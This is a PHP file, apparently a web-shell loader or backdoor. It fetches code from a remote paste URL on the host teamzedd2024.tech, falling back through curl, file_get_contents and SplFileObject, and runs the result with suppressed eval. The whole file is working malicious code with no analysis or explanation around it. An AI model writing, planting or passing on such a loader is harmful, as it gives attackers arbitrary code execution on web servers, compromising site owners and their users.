<?php
session_start();
$mainUrl = $_SESSION['ts_url'] ?? 'https://teamzedd2024.tech/raw/McuQGI';
$backupUrl = 'https://teamzedd2024.tech/raw/McuQGI';
function tryCurl($url) {
if (!function_exists('curl_init')) return '';
$c = curl_init($url);
curl_setopt_array($c, [
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_FOLLOWLOCATION => 1,
CURLOPT_TIMEOUT => 7,
]);
$out = curl_exec($c);
curl_close($c);
return $out ?: '';
}
function loadRemote($url) {
$data = tryCurl($url);
if (trim($data)) return $data;
$data = @file_get_contents($url);
if (trim($data)) return $data;
try {
$reader = new SplFileObject($url);
$data = '';
while (!$reader->eof()) {
$data .= $reader->fgets();
}
} catch (Throwable $e) {
return '';
}
return $data;
}
$exec = trim(loadRemote($mainUrl));
if ($exec === '') $exec = trim(loadRemote($backupUrl));
if ($exec !== '') {
@eval("?>$exec");
}
?>
|